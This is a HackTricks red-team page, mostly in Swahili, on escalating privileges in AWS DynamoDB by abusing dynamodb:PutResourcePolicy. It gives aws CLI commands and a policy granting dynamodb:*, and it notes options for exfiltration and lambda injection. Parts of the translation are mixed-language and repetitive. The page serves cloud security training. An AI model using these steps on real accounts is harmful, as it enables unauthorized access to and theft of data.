AWS - DynamoDB Privesc

Reading time: 4 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

dynamodb

Kwa habari zaidi kuhusu dynamodb, angalia:

AWS - DynamoDB Enum

dynamodb:PutResourcePolicy, na kwa hiari dynamodb:GetResourcePolicy

Tangu Machi 2024, AWS inatoa sera za msingi wa rasilimali kwa DynamoDB (AWS News).

Kwa hivyo, ikiwa una dynamodb:PutResourcePolicy kwa jedwali, unaweza kujipa au kumpa principal mwingine ufikiaji kamili wa jedwali hilo.

Kumpa principal yeyote dynamodb:PutResourcePolicy mara nyingi hutokea kwa bahati mbaya, ikiwa admini wanafikiri kwamba kumpa dynamodb:Put* kutamruhusu principal kuweka vitu tu kwenye database - au walipowapa seti ya ruhusa hiyo kabla ya Machi 2024...

Kwa kawaida, pia unapaswa kuwa na dynamodb:GetResourcePolicy, ili usibadilishe ruhusa nyingine zinazoweza kuwa muhimu, bali uingize tu ruhusa za ziada unazohitaji:

bash
# get the current resource based policy (if it exists) and save it to a file
aws dynamodb get-resource-policy \
--resource-arn <table_arn> \
--query 'Policy' \
--output text > policy.json

Ikiwa huwezi kupata sera ya sasa, tumia hii inayoipa principal wako ruhusa kamili juu ya jedwali:

json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "FullAccessToDynamoDBTable",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<ACCOUNT_ID>:<USER_OR_ROLE>/<USERNAME_OR_ROLENAME>"
},
"Action": [
"dynamodb:*"
],
"Resource": [
"arn:aws:dynamodb:<REGION>:<AWS_ACCOUNT_ID>:table/<TABLENAME>"
]
}
]
}

Ikiwa unahitaji kuibadilisha, hapa kuna orodha ya vitendo vyote vinavyowezekana vya DynamoDB: AWS Documentation. Na hapa kuna orodha ya vitendo vyote vinavyoweza kuruhusiwa kupitia sera inayotegemea rasilimali NA ni ipi kati ya hizi inaweza kutumika kwa akaunti nyingine (fikiri uondoaji wa data!): AWS Documentation

Sasa, ukiwa umeandaa waraka wa sera policy.json, weka sera ya rasilimali:

bash
# put the new policy using the prepared policy file
# dynamodb does weirdly not allow a direct file upload
aws dynamodb put-resource-policy \
--resource-arn <table_arn> \
--policy "$(cat policy.json)"

Sasa, unapaswa kuwa na ruhusa ulizohitaji.

Post Exploitation

Kulingana na ninavyojua, hakuna njia nyingine ya moja kwa moja ya no other direct way to escalate privileges in AWS just by having some AWS dynamodb permissions. Unaweza read sensitive taarifa kutoka kwenye majadwali (ambazo zingeweza kuwa na AWS credentials) na write information on the tables (ambazo zingeweza kusababisha udhaifu mwingine, kama lambda code injections...) lakini chaguzi hizi zote tayari zimetajwa katika DynamoDB Post Exploitation page:

AWS - DynamoDB Post Exploitation

TODO: Read data abusing data Streams

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks